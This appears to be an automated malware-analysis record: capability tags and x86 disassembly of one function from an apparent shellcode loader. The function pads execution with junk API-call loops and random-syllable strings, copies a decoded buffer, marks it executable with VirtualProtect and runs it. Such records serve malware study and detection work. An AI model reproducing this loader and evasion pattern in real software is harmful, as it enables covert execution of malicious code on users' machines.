Function at 0x407000
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40c436
mov eax, dword fs:[0]
push eax
sub esp, 0x460
mov eax, dword [0x45207c]
xor eax, esp
mov dword [esp + 0x458], eax
push ebx
push esi
push edi
mov eax, dword [0x45207c]
xor eax, esp
push eax
lea eax, [esp + 0x470]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_LocalLock]
mov edi, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], 0x3661b338
lea ebx, [ebx]
cmp dword [0x45aa04], 0xc31
jne 0x407089
push 0
call esi
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x30]
push edx
push eax
mov dword [esp + 0x28], eax
call edi
call ebx
dec dword [esp + 0x18]
jne 0x407060
cmp dword [0x45aa04], 0x7c
mov eax, dword [0x4539f4]
mov dword [0x45ad8c], eax
jne 0x407164
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomW]
xor edi, edi
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push edi
call esi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x45aa04], 0x110a
jne 0x4071c9
xor esi, esi
push esi
mov dword [0x45a9f8], esi
mov dword [0x45a9fc], esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push str.halawewegulibepuwahifunugucolevumicubuzajesiwoharuzasilufafoxopi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapSize]
push esi
push esi
call fcn.00402321
push esi
push esi
call fcn.00402321
push esi
push esi
call fcn.00402321
add esp, 0x18
push esi
call fcn.00402640
call fcn.00406de0
xor ecx, ecx
cmp dword [0x45aa04], ecx
jbe 0x40720b
jmp 0x4071e0
mov eax, dword [0x45ad8c]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
mov edx, dword [esp + 0x14]
mov al, byte [edx + ecx]
mov edx, dword [0x45a728]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x45aa04]
jb 0x4071e0
push 0x4508a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x45aa04]
mov edx, dword [0x45a728]
lea eax, [esp + 0x20]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00406fb0
call fcn.00406e00
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea eax, [esp + 0x3c]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x407277
cmp dword [esp + 0x44], 0xf5bed7
jne 0x407280
inc esi
cmp esi, 0x1ece7a52
jl 0x407254
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor esi, esi
mov edi, edi
cmp esi, 0x12e6c3
jne 0x40729d
call fcn.00406dd0
cmp dword [0x45aa04], 0x3dc
mov dword [0x45a72c], 0x8e46a6f0
jne 0x4072d7
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x2c], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.rixovohucivununiboneb_huzurucurajo_jajonaberewevale_sivakawizematec
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x407290
mov ecx, dword [esp + 0x470]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x458]
xor ecx, esp
call fcn.00401e6e
mov esp, ebp
pop ebp
ret